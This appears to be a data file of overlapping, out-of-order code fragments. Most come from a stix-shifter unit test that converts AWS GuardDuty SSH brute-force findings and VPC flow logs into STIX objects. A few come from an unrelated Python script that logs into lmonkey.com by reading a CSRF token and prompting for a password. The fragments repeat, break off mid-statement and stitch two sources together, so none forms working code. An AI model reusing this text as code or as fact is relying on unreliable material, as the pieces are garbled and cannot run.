"assert network_obj['type'] == 'network-traffic' assert network_obj['dst_port'] == 38420 assert network_obj['src_ref']",
"'partition', 'resource', 'schemaversion', 'service', 'updatedat'} assert custom_object['arn'] == 'arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed' \\",
"'src_ref', 'dst_ref', 'src_port', 'dst_port', 'protocols', 'start', 'end'} assert network_obj['type'] ==",
"\"NETWORK_CONNECTION\", \"networkconnectionaction\": { \"connectiondirection\": \"INBOUND\", \"localportdetails\": { \"portname\": \"SSH\" },",
"== \"observed-data\" assert observed_data['created_by_ref'] == result_bundle_identity['id'] assert observed_data['created'] is not",
"is not None assert observed_data['modified'] is not None assert observed_data['number_observed']",
"\"the SSH password.\", \"finding_id\": \"7ab9d1cb6248e05a0e419a79528761cb\", \"partition\": \"aws\", \"resource\": { \"instancedetails\":",
"i-031cb81e1f32a36e1.\", \"arn\": \"arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed494f3b7ca56acdc74df/finding/\" \"7ab9d1cb6248e05a0e419a79528761cb\", \"createdat\": \"2020-07-31T06:37:13.745Z\", \"description\": \"172.16.31.10 is performing",
"\"region\": \"us-east-1\", \"version\": 2 } } options = {\"unmapped_fallback\": True}",
"assert custom_object['createdat'] == '2020-07-31T06:37:13.745Z' assert custom_object['partition'] == 'aws' assert custom_object['schemaversion']",
"your instance by \" \"guessing the SSH password.\", \"finding_id\": \"7ab9d1cb6248e05a0e419a79528761cb\",",
"from stix_shifter_utils.stix_translation.src.utils.transformer_utils import get_module_transformers from stix_shifter_modules.aws_athena.entry_point import EntryPoint import unittest",
"\"/7ab9d1cb6248e05a0e419a79528761cb\", \"createdat\": \"2020-07-31T06:37:13.745Z\", \"description\": \"172.16.31.10 is performing SSH brute force",
"\"85.224.242.94 is performing SSH brute force attacks against i-031cb81e1f32a36e1.\", \"arn\":",
"= result_bundle['objects'] result_bundle_identity = result_bundle_objects[0] assert result_bundle_identity['type'] == data_source['type'] assert",
"== 2 def test_guardduty_network_json_to_stix(self): \"\"\"to test network stix object properties\"\"\"",
"\"t2.large\", \"launchtime\": \"2020-09-11T23:16:03Z\", \"tags\": { \"0\": { \"key\": \"Name\", \"value\":",
"\"2020-09-11T23:16:03Z\", \"tags\": { \"0\": { \"key\": \"Name\", \"value\": \"ArcSight Logger\"",
"\"detectorid\": \"6ab6e6ee780ed494f3b7ca56acdc74df\", \"resourcerole\": \"TARGET\", \"servicename\": \"guardduty\" }, \"updatedat\": \"2020-09-12T09:25:34.086Z\" }",
"\"type\": \"UnauthorizedAccess:EC2/SSHBruteForce\", \"resource_instancedetails_networkinterfaces_0_privatednsname\": \"ip-172-31-60-104.ec2.internal\", \"resource_instancedetails_networkinterfaces_0_privateipaddress\": \"172.31.60.104\", \"resource_instancedetails_networkinterfaces_0_subnetid\": \"subnet-ea9d6be4\", \"resource_instancedetails_networkinterfaces_0_publicdnsname\": \"ec2-18-210-22-128.compute-1.\"",
"\"destinationaddress\": \"172.31.62.249\", \"sourceport\": 58387, \"destinationport\": 51289, \"protocol\": \"tcp\", \"starttime\": 1592547796,",
"\"destinationport\": 51289, \"protocol\": \"tcp\", \"starttime\": 1592547796, \"endtime\": 1592547798, \"action\": \"REJECT\",",
"\"Instance\" }, \"schemaversion\": 2.0, \"service\": { \"action\": { \"actiontype\": \"NETWORK_CONNECTION\",",
"\"title\": \"172.16.31.10 is performing SSH brute force attacks against i-031cb81e1f32a36e1.\",",
"assert result_bundle_identity['name'] == data_source['name'] assert result_bundle_identity['identity_class'] == data_source['identity_class'] observed_data =",
"'dst_port', 'src_ref', 'dst_ref', 'src_port', 'protocols'} assert network_obj['type'] == 'network-traffic' assert",
"\"tags\": { \"0\": { \"key\": \"Name\", \"value\": \"<NAME>\" } }",
"\"resource_instancedetails_availabilityzone\": \"us-east-1f\", \"service_eventfirstseen\": \"2020-07-31T06:19:09Z\", \"service_action_networkconnectionaction_protocol\": \"TCP\", \"service_action_networkconnectionaction_remoteportdetails_port\": \"38420\", \"service_action_networkconnectionaction_remoteipdetails_country_countryname\": \"Sweden\",",
"import json_to_stix_translator from stix_shifter_utils.stix_translation.src.utils.transformer_utils import get_module_transformers from stix_shifter_modules.aws_athena.entry_point import EntryPoint",
"\"severity\": 2, \"title\": \"85.224.242.94 is performing SSH brute force attacks",
"belongs to respective stix object \"\"\" return TestAwsResultsToStix.get_first(itr, lambda o:",
"\"subnet-ea9d6be4\", \"resource_instancedetails_networkinterfaces_0_publicdnsname\": \"ec2-18-210-22-128.compute-1.\" \"amazonaws.com\", \"resource_instancedetails_networkinterfaces_0_vpcid\": \"vpc-10db926a\", \"resource_instancedetails_networkinterfaces_0_publicip\": \"172.16.31.10\", \"resource_instancedetails_networkinterfaces_0_networkinterfaceid\": \"eni-0203098cca62c3f21\",",
"} result_bundle = json_to_stix_translator.convert_to_stix( data_source, map_data, [data], get_module_transformers(MODULE), options) result_bundle_objects",
"= json_to_stix_translator.convert_to_stix( data_source, map_data, [data], get_module_transformers(MODULE), options) assert result_bundle['type'] ==",
"'objects' in observed_data objects = observed_data['objects'] network_obj = TestAwsResultsToStix.get_first_of_type(objects.values(), 'network-traffic')",
"data = { \"vpcflow\": { \"account\": 979326520502, \"interfaceid\": \"eni-04b762de832716892\", \"sourceaddress\":",
"\"2020-07-31T06:37:13.745Z\", \"description\": \"172.16.31.10 is performing SSH brute force attacks against",
"== {'type', 'src_ref', 'dst_ref', 'src_port', 'dst_port', 'protocols', 'start', 'end'} assert",
"\"Brute force attacks are used to gain unauthorized access to",
"\"\\u00d6rebro\", \"service_action_networkconnectionaction_localportdetails_port\": \"22\", \"service_eventlastseen\": \"2020-09-12T09:19:40Z\", \"severity\": 2, \"title\": \"85.224.242.94 is",
"attacks are used to gain unauthorized access to your instance",
"result_bundle['objects'] result_bundle_identity = result_bundle_objects[0] assert result_bundle_identity['type'] == data_source['type'] observed_data =",
"= { \"guardduty\": { \"accountid\": 979326520502, \"region\": \"us-east-1\", \"type\": \"UnauthorizedAccess:EC2/SSHBruteForce\",",
"\"ip-172-31-60-104.ec2.internal\", \"resource_instancedetails_networkinterfaces_0_privateipaddress\": \"172.31.60.104\", \"resource_instancedetails_networkinterfaces_0_subnetid\": \"subnet-ea9d6be4\", \"resource_instancedetails_networkinterfaces_0_publicdnsname\": \"ec2-18-210-22-128.compute-1.\" \"amazonaws.com\", \"resource_instancedetails_networkinterfaces_0_vpcid\": \"vpc-10db926a\",",
"'2020-06-19T06:23:16.000Z' assert network_obj['end'] == '2020-06-19T06:23:18.000Z' def test_vpc_flow_custom_attr_json_to_stix(self): \"\"\"to test network",
"network_obj['end'] == '2020-06-19T06:23:18.000Z' def test_vpc_flow_custom_attr_json_to_stix(self): \"\"\"to test network stix object",
"network_obj['type'] == 'network-traffic' assert network_obj['dst_port'] == 38420 assert network_obj['src_ref'] ==",
"\"resource_instancedetails_imageid\": \"ami-0015fcaa5516c75ed\", \"resource_instancedetails_instanceid\": \"i-031cb81e1f32a36e1\", \"resource_instancedetails_availabilityzone\": \"us-east-1f\", \"service_eventfirstseen\": \"2020-07-31T06:19:09Z\", \"service_action_networkconnectionaction_protocol\": \"TCP\",",
"class to perform unit test case for Aws Athena logs",
"custom_object['date'] == '2020-06-19' assert custom_object['logstatus'] == 'OK' assert custom_object['numbytes'] ==",
"== data_source['name'] assert result_bundle_identity['identity_class'] == data_source['identity_class'] observed_data = result_bundle_objects[1] assert",
"force attacks against i-031cb81e1f32a36e1.\", \"arn\": \"arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed494f3b7ca56acdc74df/finding/\" \"7ab9d1cb6248e05a0e419a79528761cb\", \"createdat\": \"2020-07-31T06:37:13.745Z\", \"description\":",
"== '2020-06-19T06:23:16.000Z' assert network_obj['end'] == '2020-06-19T06:23:18.000Z' def test_vpc_flow_custom_attr_json_to_stix(self): \"\"\"to test",
"\"servicename\": \"guardduty\" }, \"updatedat\": \"2020-09-12T09:25:34.086Z\" } } options = {\"unmapped_fallback\":",
"'us-east-1' assert custom_object['version'] == 2 def test_guardduty_network_json_to_stix(self): \"\"\"to test network",
"observed_data['number_observed'] is not None def test_vpc_flow_network_json_to_stix(self): \"\"\"to test network stix",
"\"value\": \"<NAME>\" } } }, \"resourcetype\": \"Instance\" }, \"schemaversion\": 2.0,",
"to your instance by guessing \" \"the SSH password.\", \"finding_id\":",
"the object belongs to respective stix object \"\"\" return TestAwsResultsToStix.get_first(itr,",
"assert network_obj.keys() == {'type', 'dst_port', 'src_ref', 'dst_ref', 'src_port', 'protocols'} assert",
"to respective stix object \"\"\" return TestAwsResultsToStix.get_first(itr, lambda o: isinstance(o,",
"(obj for obj in itr if constraint(obj)), None ) @staticmethod",
"@staticmethod def get_first_of_type(itr, typ): \"\"\" to check whether the object",
"result_bundle = json_to_stix_translator.convert_to_stix( data_source, map_data, [data], get_module_transformers(MODULE), options) assert result_bundle['type']",
"test_guardduty_network_json_to_stix(self): \"\"\"to test network stix object properties\"\"\" data = {",
"\"7ab9d1cb6248e05a0e419a79528761cb\", \"partition\": \"aws\", \"resource\": { \"instancedetails\": { \"imagedescription\": \"Provided by",
"Hat, Inc.\", \"instancestate\": \"running\", \"instancetype\": \"t2.large\", \"launchtime\": \"2020-09-11T23:16:03Z\", \"tags\": {",
"== data_source['id'] assert result_bundle_identity['name'] == data_source['name'] assert result_bundle_identity['identity_class'] == data_source['identity_class']",
"assert network_obj['src_ref'] == '3' assert network_obj['dst_ref'] == '9' assert network_obj['src_port']",
"\"172.16.31.10 is performing SSH brute force attacks against i-031cb81e1f32a36e1.\" \"",
"def get_first_of_type(itr, typ): \"\"\" to check whether the object belongs",
"\"key\": \"Name\", \"value\": \"ArcSight Logger\" } } }, \"resourcetype\": \"Instance\"",
"'network-traffic object type not found' assert network_obj.keys() == {'type', 'dst_port',",
"observed_data['modified'] is not None assert observed_data['number_observed'] is not None def",
"is not None def test_vpc_flow_network_json_to_stix(self): \"\"\"to test network stix object",
"= TestAwsResultsToStix.get_first_of_type(objects.values(), 'x-aws-athena') assert custom_object.keys() == {'type', 'service_action_networkconnectionaction_remoteipdetails_country_countryname', 'finding_id', 'arn',",
"options) result_bundle_objects = result_bundle['objects'] result_bundle_identity = result_bundle_objects[0] assert result_bundle_identity['type'] ==",
"\"description\": \"172.16.31.10 is performing SSH brute force attacks against i-031cb81e1f32a36e1.",
"assert observed_data['id'] is not None assert observed_data['type'] == \"observed-data\" assert",
"password.\", \"finding_id\": \"7ab9d1cb6248e05a0e419a79528761cb\", \"partition\": \"aws\", \"resource\": { \"instancedetails\": { \"imagedescription\":",
"== 'network-traffic' assert network_obj['dst_port'] == 38420 assert network_obj['src_ref'] == '3'",
"'logstatus', 'numbytes', 'region', 'version'} assert custom_object['date'] == '2020-06-19' assert custom_object['logstatus']",
"Aws Athena logs translate results \"\"\" @staticmethod def get_first(itr, constraint):",
"\"service_action_networkconnectionaction_remoteipdetails_city_cityname\": \"rebro\", \"service_action_networkconnectionaction_localportdetails_port\": \"22\", \"service_eventlastseen\": \"2020-09-12T09:19:40Z\", \"severity\": 2, \"title\": \"172.16.31.10",
"\"0\": { \"key\": \"Name\", \"value\": \"<NAME>\" } } }, \"resourcetype\":",
"\"OK\", \"numbytes\": 40, \"region\": \"us-east-1\", \"version\": 2 } } options",
"\"isp\": \"Telenor Sverige AB\", \"org\": \"Telenor Sverige AB\" } },",
"'dst_ref', 'src_port', 'dst_port', 'protocols', 'start', 'end'} assert network_obj['type'] == 'network-traffic'",
"'network-traffic' assert network_obj['dst_port'] == 38420 assert network_obj['src_ref'] == '3' assert",
"objects = observed_data['objects'] custom_object = TestAwsResultsToStix.get_first_of_type(objects.values(), 'x-aws-athena') assert custom_object.keys() ==",
"itr if constraint is true \"\"\" return next( (obj for",
"result_bundle_objects[1] assert 'objects' in observed_data objects = observed_data['objects'] custom_object =",
"} }, \"remoteportdetails\": { \"portname\": \"Unknown\" } } }, \"count\":",
"def test_vpc_flow_network_json_to_stix(self): \"\"\"to test network stix object properties\"\"\" data =",
"\"lon\": \"15.2066\" }, \"organization\": { \"asn\": \"2119\", \"asnorg\": \"Telenor Norge",
"51289 assert network_obj['protocols'] == ['tcp'] assert network_obj['start'] == '2020-06-19T06:23:16.000Z' assert",
"\"arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed494f3b7ca56acdc74df/finding\" \"/7ab9d1cb6248e05a0e419a79528761cb\", \"createdat\": \"2020-07-31T06:37:13.745Z\", \"description\": \"172.16.31.10 is performing SSH brute",
"979326520502, \"region\": \"us-east-1\", \"type\": \"UnauthorizedAccess:EC2/SSHBruteForce\", \"resource_instancedetails_networkinterfaces_0_privatednsname\": \"ip-172-31-60-104.ec2.internal\", \"resource_instancedetails_networkinterfaces_0_privateipaddress\": \"172.31.60.104\", \"resource_instancedetails_networkinterfaces_0_subnetid\":",
"assert custom_object['logstatus'] == 'OK' assert custom_object['numbytes'] == 40 assert custom_object['region']",
"\"sg-018edb43fcc81525f\", \"resource_instancedetails_networkinterfaces_0_securitygroups_0_groupname\": \"launch-wizard-13\", \"resource_instancedetails_imageid\": \"ami-0015fcaa5516c75ed\", \"resource_instancedetails_instanceid\": \"i-031cb81e1f32a36e1\", \"resource_instancedetails_availabilityzone\": \"us-east-1f\", \"service_eventfirstseen\":",
"observed_data['objects'] custom_object = TestAwsResultsToStix.get_first_of_type(objects.values(), 'x-aws-athena') assert custom_object.keys() == {'type', 'service_action_networkconnectionaction_remoteipdetails_country_countryname',",
"custom_object = TestAwsResultsToStix.get_first_of_type(objects.values(), 'x-aws-athena') assert custom_object.keys() == {'type', 'service_action_networkconnectionaction_remoteipdetails_country_countryname', 'finding_id',",
"assert network_obj['src_port'] == 22 assert network_obj['protocols'] == ['tcp'] def test_guardduty_custom_attr_json_to_stix(self):",
"\"lat\": \"59.2741\", \"lon\": \"15.2066\" }, \"organization\": { \"asn\": \"2119\", \"asnorg\":",
"{ \"0\": { \"key\": \"Name\", \"value\": \"<NAME>\" } } },",
"\"172.16.31.10\", \"service_action_networkconnectionaction_remoteipdetails_city_cityname\": \"rebro\", \"service_action_networkconnectionaction_localportdetails_port\": \"22\", \"service_eventlastseen\": \"2020-09-12T09:19:40Z\", \"severity\": 2, \"title\":",
"json_to_stix_translator.convert_to_stix( data_source, map_data, [data], get_module_transformers(MODULE), options) result_bundle_objects = result_bundle['objects'] result_bundle_identity",
"assert observed_data['modified'] is not None assert observed_data['number_observed'] is not None",
"\"starttime\": 1592547796, \"endtime\": 1592547798, \"action\": \"REJECT\", \"date\": \"2020-06-19\", \"logstatus\": \"OK\",",
"\"REJECT\", \"date\": \"2020-06-19\", \"logstatus\": \"OK\", \"numbytes\": 40, \"region\": \"us-east-1\", \"version\":",
"2, \"title\": \"172.16.31.10 is performing SSH brute force attacks against",
"'network-traffic object type not found' assert network_obj.keys() == {'type', 'src_ref',",
"TestAwsResultsToStix.get_first_of_type(objects.values(), 'x-aws-athena') assert custom_object.keys() == {'type', 'interfaceid', 'date', 'logstatus', 'numbytes',",
"\"resource_instancedetails_networkinterfaces_0_networkinterfaceid\": \"eni-0203098cca62c3f21\", \"resource_instancedetails_networkinterfaces_0_securitygroups_0_groupid\": \"sg-018edb43fcc81525f\", \"resource_instancedetails_networkinterfaces_0_securitygroups_0_groupname\": \"launch-wizard-13\", \"resource_instancedetails_imageid\": \"ami-0015fcaa5516c75ed\", \"resource_instancedetails_instanceid\": \"i-031cb81e1f32a36e1\",",
"\"2020-09-12T09:19:40Z\", \"severity\": 2, \"title\": \"172.16.31.10 is performing SSH brute force",
"2.0, \"service\": { \"action\": { \"actiontype\": \"NETWORK_CONNECTION\", \"networkconnectionaction\": { \"connectiondirection\":",
"your instance by guessing \" \"the SSH password.\", \"finding_id\": \"7ab9d1cb6248e05a0e419a79528761cb\",",
"None assert observed_data['type'] == \"observed-data\" assert observed_data['created_by_ref'] == result_bundle_identity['id'] assert",
"'x-aws-athena') assert custom_object.keys() == {'type', 'interfaceid', 'date', 'logstatus', 'numbytes', 'region',",
"custom_object.keys() == {'type', 'interfaceid', 'date', 'logstatus', 'numbytes', 'region', 'version'} assert",
"to test the common stix object properties \"\"\" data =",
"\"2020-09-12T09:19:40Z\", \"severity\": 2, \"title\": \"85.224.242.94 is performing SSH brute force",
"\"createdat\": \"2020-07-31T06:37:13.745Z\", \"description\": \"172.16.31.10 is performing SSH brute force attacks",
"\"geolocation\": { \"lat\": \"59.2741\", \"lon\": \"15.2066\" }, \"organization\": { \"asn\":",
"{ \"accountid\": 979326520502, \"region\": \"us-east-1\", \"type\": \"UnauthorizedAccess:EC2/SSHBruteForce\", \"resource_instancedetails_networkinterfaces_0_privatednsname\": \"ip-172-31-60-104.ec2.internal\", \"resource_instancedetails_networkinterfaces_0_privateipaddress\":",
"{ \"account\": 979326520502, \"interfaceid\": \"eni-04b762de832716892\", \"sourceaddress\": \"192.168.127.12\", \"destinationaddress\": \"172.31.62.249\", \"sourceport\":",
"network_obj['dst_ref'] == '9' assert network_obj['src_port'] == 22 assert network_obj['protocols'] ==",
"by Red Hat, Inc.\", \"instancestate\": \"running\", \"instancetype\": \"t2.large\", \"launchtime\": \"2020-09-11T23:16:03Z\",",
"force attacks against i-031cb81e1f32a36e1. \" \"Brute force attacks are used",
"\"Provided by Red Hat, Inc.\", \"instancestate\": \"running\", \"instancetype\": \"t2.large\", \"launchtime\":",
"assert custom_object['region'] == 'us-east-1' assert custom_object['version'] == 2 def test_guardduty_network_json_to_stix(self):",
"stix_shifter_modules.aws_athena.entry_point import EntryPoint import unittest MODULE = \"aws_athena\" entry_point =",
"performing SSH brute force attacks against i-031cb81e1f32a36e1. \" \"Brute force",
"\" \"Brute force attacks are used to gain unauthorized access",
"\"servicename\": \"guardduty\" }, \"updatedat\": \"2020-09-12T09:25:34.086Z\" } } result_bundle = json_to_stix_translator.convert_to_stix(",
"next( (obj for obj in itr if constraint(obj)), None )",
"= entry_point.get_results_translator().map_data data_source = { \"type\": \"identity\", \"id\": \"identity--f431f809-377b-45e0-aa1c-6a4751cae5ff\", \"name\":",
"Brute force attacks are used to gain unauthorized access to",
"o.get('type') == typ) def test_common_prop(self): \"\"\" to test the common",
"\"eni-04b762de832716892\", \"sourceaddress\": \"192.168.127.12\", \"destinationaddress\": \"172.31.62.249\", \"sourceport\": 58387, \"destinationport\": 51289, \"protocol\":",
"{} class TestAwsResultsToStix(unittest.TestCase): \"\"\" class to perform unit test case",
"stix object \"\"\" return TestAwsResultsToStix.get_first(itr, lambda o: isinstance(o, dict) and",
"common stix object properties \"\"\" data = { \"guardduty\": {",
"MODULE = \"aws_athena\" entry_point = EntryPoint() map_data = entry_point.get_results_translator().map_data data_source",
"assert custom_object['arn'] == 'arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed' \\ '494f3b7ca56acdc74df/finding/7ab9d1cb6248e05a0e419a79528761cb' assert custom_object['finding_id'] == '7ab9d1cb6248e05a0e419a79528761cb'",
"} }, \"resourcetype\": \"Instance\" }, \"schemaversion\": 2.0, \"service\": { \"action\":",
"brute force attacks against i-031cb81e1f32a36e1.\", \"arn\": \"arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed494f3b7ca56acdc74df/finding\" \"/7ab9d1cb6248e05a0e419a79528761cb\", \"createdat\": \"2020-07-31T06:37:13.745Z\",",
"is not None assert observed_data['number_observed'] is not None def test_vpc_flow_network_json_to_stix(self):",
"TestAwsResultsToStix.get_first(itr, lambda o: isinstance(o, dict) and o.get('type') == typ) def",
"\" Brute force attacks are used to gain unauthorized access",
"\"aws_athena\", \"identity_class\": \"events\" } options = {} class TestAwsResultsToStix(unittest.TestCase): \"\"\"",
"'src_port', 'protocols'} assert network_obj['type'] == 'network-traffic' assert network_obj['dst_port'] == 38420",
"'end'} assert network_obj['type'] == 'network-traffic' assert network_obj['src_ref'] == '1' assert",
"\"2020-09-12T09:25:34.086Z\" } } options = {\"unmapped_fallback\": True} result_bundle = json_to_stix_translator.convert_to_stix(",
"observed_data['id'] is not None assert observed_data['type'] == \"observed-data\" assert observed_data['created_by_ref']",
"observed_data['objects'] custom_object = TestAwsResultsToStix.get_first_of_type(objects.values(), 'x-aws-athena') assert custom_object.keys() == {'type', 'interfaceid',",
"== 'us-east-1' assert custom_object['version'] == 2 def test_guardduty_network_json_to_stix(self): \"\"\"to test",
"\"sourceport\": 58387, \"destinationport\": 51289, \"protocol\": \"tcp\", \"starttime\": 1592547796, \"endtime\": 1592547798,",
"True} result_bundle = json_to_stix_translator.convert_to_stix( data_source, map_data, [data], get_module_transformers(MODULE), options) result_bundle_objects",
"'dst_ref', 'src_port', 'protocols'} assert network_obj['type'] == 'network-traffic' assert network_obj['dst_port'] ==",
"\"service_action_networkconnectionaction_protocol\": \"TCP\", \"service_action_networkconnectionaction_remoteportdetails_port\": \"38420\", \"service_action_networkconnectionaction_remoteipdetails_country_countryname\": \"Sweden\", \"service_action_networkconnectionaction_remoteipdetails_ipaddressv4\": \"172.16.31.10\", \"service_action_networkconnectionaction_remoteipdetails_city_cityname\": \"rebro\",",
"import EntryPoint import unittest MODULE = \"aws_athena\" entry_point = EntryPoint()",
"to gain unauthorized access to your instance by \" \"guessing",
"assert result_bundle_identity['type'] == data_source['type'] assert result_bundle_identity['id'] == data_source['id'] assert result_bundle_identity['name']",
"\"SSH\" }, \"remoteipdetails\": { \"geolocation\": { \"lat\": \"59.2741\", \"lon\": \"15.2066\"",
"\"arn\": \"arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed494f3b7ca56acdc74df/finding/\" \"7ab9d1cb6248e05a0e419a79528761cb\", \"createdat\": \"2020-07-31T06:37:13.745Z\", \"description\": \"172.16.31.10 is performing SSH",
"constraint): \"\"\" return the obj in the itr if constraint",
"\"6ab6e6ee780ed494f3b7ca56acdc74df\", \"resourcerole\": \"TARGET\", \"servicename\": \"guardduty\" }, \"updatedat\": \"2020-09-12T09:25:34.086Z\" } }",
"assert result_bundle_identity['type'] == data_source['type'] observed_data = result_bundle_objects[1] assert 'objects' in",
"object belongs to respective stix object \"\"\" return TestAwsResultsToStix.get_first(itr, lambda",
"}, \"organization\": { \"asn\": \"2119\", \"asnorg\": \"Telenor Norge AS\", \"isp\":",
"'version'} assert custom_object['date'] == '2020-06-19' assert custom_object['logstatus'] == 'OK' assert",
"\"service_action_networkconnectionaction_localportdetails_port\": \"22\", \"service_eventlastseen\": \"2020-09-12T09:19:40Z\", \"severity\": 2, \"title\": \"172.16.31.10 is performing",
"} options = {} class TestAwsResultsToStix(unittest.TestCase): \"\"\" class to perform",
"AB\", \"org\": \"Telenor Sverige AB\" } }, \"remoteportdetails\": { \"portname\":",
"SSH brute force attacks against i-031cb81e1f32a36e1.\", \"arn\": \"arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed494f3b7ca56acdc74df/finding\" \"/7ab9d1cb6248e05a0e419a79528761cb\", \"createdat\":",
"against i-031cb81e1f32a36e1.\", \"arn\": \"arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed494f3b7ca56acdc74df/finding/\" \"7ab9d1cb6248e05a0e419a79528761cb\", \"createdat\": \"2020-07-31T06:37:13.745Z\", \"description\": \"172.16.31.10 is",
"object properties \"\"\" data = { \"guardduty\": { \"accountid\": 979326520502,",
"data_source, map_data, [data], get_module_transformers(MODULE), options) assert result_bundle['type'] == 'bundle' result_bundle_objects",
"Norge AS\", \"isp\": \"Telenor Sverige AB\", \"org\": \"Telenor Sverige AB\"",
"\"rebro\", \"service_action_networkconnectionaction_localportdetails_port\": \"22\", \"service_eventlastseen\": \"2020-09-12T09:19:40Z\", \"severity\": 2, \"title\": \"172.16.31.10 is",
"network_obj['src_ref'] == '3' assert network_obj['dst_ref'] == '9' assert network_obj['src_port'] ==",
"brute force attacks against i-031cb81e1f32a36e1. \" \"Brute force attacks are",
"data_source['type'] assert result_bundle_identity['id'] == data_source['id'] assert result_bundle_identity['name'] == data_source['name'] assert",
"\"22\", \"service_eventlastseen\": \"2020-09-12T09:19:40Z\", \"severity\": 2, \"title\": \"85.224.242.94 is performing SSH",
"observed_data = result_bundle_objects[1] assert observed_data['id'] is not None assert observed_data['type']",
"\"Telenor Sverige AB\", \"org\": \"Telenor Sverige AB\" } }, \"remoteportdetails\":",
"force attacks against i-031cb81e1f32a36e1.\", \"arn\": \"arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed494f3b7ca56acdc74df/finding\" \"/7ab9d1cb6248e05a0e419a79528761cb\", \"createdat\": \"2020-07-31T06:37:13.745Z\", \"description\":",
"\"192.168.127.12\", \"destinationaddress\": \"172.31.62.249\", \"sourceport\": 58387, \"destinationport\": 51289, \"protocol\": \"tcp\", \"starttime\":",
"observed_data['created'] is not None assert observed_data['modified'] is not None assert",
"\"ami-0015fcaa5516c75ed\", \"resource_instancedetails_instanceid\": \"i-031cb81e1f32a36e1\", \"resource_instancedetails_availabilityzone\": \"us-east-1f\", \"service_eventfirstseen\": \"2020-07-31T06:19:09Z\", \"service_action_networkconnectionaction_protocol\": \"TCP\", \"service_action_networkconnectionaction_remoteportdetails_port\":",
"\"0\": { \"key\": \"Name\", \"value\": \"ArcSight Logger\" } } },",
"not None assert observed_data['modified'] is not None assert observed_data['number_observed'] is",
"\"172.16.31.10 is performing SSH brute force attacks against i-031cb81e1f32a36e1. \"",
"{ \"type\": \"identity\", \"id\": \"identity--f431f809-377b-45e0-aa1c-6a4751cae5ff\", \"name\": \"aws_athena\", \"identity_class\": \"events\" }",
"SSH password.\", \"finding_id\": \"7ab9d1cb6248e05a0e419a79528761cb\", \"partition\": \"aws\", \"resource\": { \"instancedetails\": {",
"{ \"vpcflow\": { \"account\": 979326520502, \"interfaceid\": \"eni-04b762de832716892\", \"sourceaddress\": \"192.168.127.12\", \"destinationaddress\":",
"to check whether the object belongs to respective stix object",
"\"events\" } options = {} class TestAwsResultsToStix(unittest.TestCase): \"\"\" class to",
"test_vpc_flow_network_json_to_stix(self): \"\"\"to test network stix object properties\"\"\" data = {",
"assert network_obj['dst_port'] == 38420 assert network_obj['src_ref'] == '3' assert network_obj['dst_ref']",
"== '9' assert network_obj['src_port'] == 22 assert network_obj['protocols'] == ['tcp']",
"data = { \"guardduty\": { \"accountid\": 979326520502, \"region\": \"us-east-1\", \"type\":",
"\"networkconnectionaction\": { \"connectiondirection\": \"INBOUND\", \"localportdetails\": { \"portname\": \"SSH\" }, \"remoteipdetails\":",
"i-031cb81e1f32a36e1.\", \"arn\": \"arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed494f3b7ca56acdc74df/finding\" \"/7ab9d1cb6248e05a0e419a79528761cb\", \"createdat\": \"2020-07-31T06:37:13.745Z\", \"description\": \"172.16.31.10 is performing",
"'createdat', 'partition', 'resource', 'schemaversion', 'service', 'updatedat'} assert custom_object['arn'] == 'arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed'"
] |
[
"= etree.HTML(res.text) self.token = html.xpath(\"//input[@name='_token']/@value\")[0] #找到 input 标签下的,属性为 name=\"_token\" 的标签,找它的",
"\"password\": <PASSWORD> } # 发起 post 请求 res = self.req.post(url=self.loginUrl,headers=self.headers,data=data)",
"# 頁面解析 r = html.xpath(\"//div[@class='avatar-content']/small/text()\") print(r) else: print(\"頁面請求失敗\") obj =",
"get 请求即可,获取默认订单号 # 解析数据即可 res = self.req.get(url=self.orderUrl,headers=self.headers) if res.status_code ==",
"= requests.session() if self.getlogin(): # get 登录成功 if self.postlogin(): #",
"\"User-Agent\":\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25",
"#@time: 2020/1/20 12:44 import requests from lxml import etree #",
"res.status_code == 200: print(\"get 页面请求成功\") html = etree.HTML(res.text) self.token =",
"def __init__(self): # 请求对象的初始化 self.req = requests.session() if self.getlogin(): #",
"= input(\"请输入你的密码:\") data = { \"_token\": self.token, \"username\": uname, \"password\":",
"req = None # token 口令 token = '' #",
"登录,设置 cookie def postlogin(self): uname = input(\"输入你的手机号:\") passw = input(\"请输入你的密码:\")",
"class lMonKey(): # 登录请求地址 loginUrl = \"https://www.lmonkey.com/login\" # 账户中心地址 orderUrl",
"10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3741.400 QQBrowser/10.5.3863.400\"",
"uname, \"password\": <PASSWORD> } # 发起 post 请求 res =",
"get 登录成功 if self.postlogin(): # post 登录成功 self.getordder() # get",
"vcalue 的值,也就是 token 的值 # input[@name='xxx'] 找到指定标签 print(\"token 获取成功\") return",
"# 解析数据即可 res = self.req.get(url=self.orderUrl,headers=self.headers) if res.status_code == 200: print(\"请求订单页页面成功\")",
"getordder(self): # 获取订单页,使用 get 请求即可,获取默认订单号 # 解析数据即可 res = self.req.get(url=self.orderUrl,headers=self.headers)",
"Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3741.400 QQBrowser/10.5.3863.400\" } # 请求对象 req =",
"# get 登录成功 if self.postlogin(): # post 登录成功 self.getordder() #",
"封装类,进行学习猿地的登录和订单的获取 class lMonKey(): # 登录请求地址 loginUrl = \"https://www.lmonkey.com/login\" # 账户中心地址",
"None # token 口令 token = '' # 订单号 #",
"WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3741.400 QQBrowser/10.5.3863.400\" }",
"passw = input(\"请输入你的密码:\") data = { \"_token\": self.token, \"username\": uname,",
